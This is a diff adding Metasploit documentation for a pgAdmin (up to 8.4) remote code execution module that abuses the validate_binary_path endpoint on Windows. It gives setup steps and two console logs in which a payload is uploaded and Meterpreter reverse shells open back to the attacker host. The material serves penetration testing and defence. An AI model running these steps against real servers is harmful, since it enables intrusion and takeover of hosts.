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documentation/modules/exploit/windows/http/pgadmin_binary_path_api.md

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+*## Vulnerable Application
+The pgAdmin versions up to 8.4 are vulnerable to a Remote Code Execution (RCE) flaw through the validate binary path API. This vulnerability allows attackers to run arbitrary code on the server hosting pgAdmin, which poses a significant threat to the integrity of the database management system and the security of its underlying data.
+
+The exploit can be executed in both authenticated and unauthenticated scenarios. When valid credentials are available, Metasploit can log in to pgAdmin, upload a malicious payload using the file management plugin, and then execute it via the validate_binary_path endpoint. This vulnerability is specific to Windows targets. If authentication is not required by the application, Metasploit can directly upload and trigger the payload through the validate_binary_path endpoint.
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploit/multi/http/pgadmin_binary_path_api`
+1. Set the `RHOST`, `PAYLOAD`, and optionally the `USERNAME` and `PASSWORD` options
+1. Do: `run`
+
+
+### Installation (Windows)
+
+These steps are the bare minimum to get the application to run for testing and should not be use for a production setup.
+For a production setup, a server like Apache should be setup to run pgAdmin through it's WSGI interface.
+
+**The following paths are all relative to the default installation path `C:\Program Files\pgAdmin 4\web`**.
+
+1. [Download][1] and install the Windows build
+1. Copy the `config_distro.py` file to `config_local.py`
+1. Edit `config_local.py` and set `SERVER_MODE` to `True`
+1. Initialize the database: `..\python\python.exe setup.py setup-db`
+1. Create an initial user account: `..\python\python.exe setup.py add-user --admin [email protected] 123456`
+1. Run the application: `..\python\python.exe pgAdmin4.py`
+
+## Scenarios
+Specific demo of using the module that might be useful in a real world scenario.
+
+### pgAdmin 8.4 on Windows (Authenticated)
+
+```
+msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.5
+RHOSTS => 192.168.1.5
+msf6 exploit(windows/http/pgadmin_binary_path_api) > set USERNAME [email protected]
+USERNAME => [email protected]
+msf6 exploit(windows/http/pgadmin_binary_path_api) > set PASSWORD 123456
+PASSWORD => 123456
+msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6 
+LHOST => 192.168.1.6
+msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit 
+
+[*] Started reverse TCP handler on 192.168.1.6:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable. pgAdmin version 8.4.0 is affected
+[*] Successfully authenticated to pgAdmin
+[*] Payload uploaded to: C:\Users\pgAdmin\Desktop\CVE-2024-3116\pgadmin4\storage\test_test.com/pg_restore.exe
+[*] Sending stage (201798 bytes) to 192.168.1.5
+[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:52588) at 2024-08-26 19:48:10 +0200
+[!] This exploit may require manual cleanup of 'C:\Users\pgAdmin\Desktop\CVE-2024-3116\pgadmin4\storage\test_test.com/pg_restore.exe' on the target
+
+meterpreter > sysinfo
+Computer        : DESKTOP-FMNV75N
+OS              : Windows 10 (10.0 Build 19045).
+Architecture    : x64
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 2
+Meterpreter     : x64/windows
+meterpreter > 
+
+```
+
+### pgAdmin 8.4 on Windows (Unauthenticated)
+
+```
+msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.7
+RHOSTS => 192.168.1.7
+msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6 
+LHOST => 192.168.1.6
+msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit 
+
+[*] Started reverse TCP handler on 192.168.1.6:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target is vulnerable. pgAdmin version 8.4.0 is affected
+[*] Payload uploaded to: C:\Users\pgAdmin\pg_restore.exe
+[*] Sending stage (200774 bytes) to 192.168.1.7
+[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.7:55560) at 2024-08-26 19:51:01 +0200
+[!] This exploit may require manual cleanup of 'C:\Users\pgAdmin\pg_restore.exe' on the target
+
+meterpreter > sysinfo
+Computer        : DESKTOP-HTGS43E
+OS              : Windows 10 (10.0 Build 22000).
+Architecture    : x64
+System Language : en_GB
+Domain          : WORKGROUP
+Logged On Users : 1
+Meterpreter     : x64/windows
+meterpreter > 
+
+```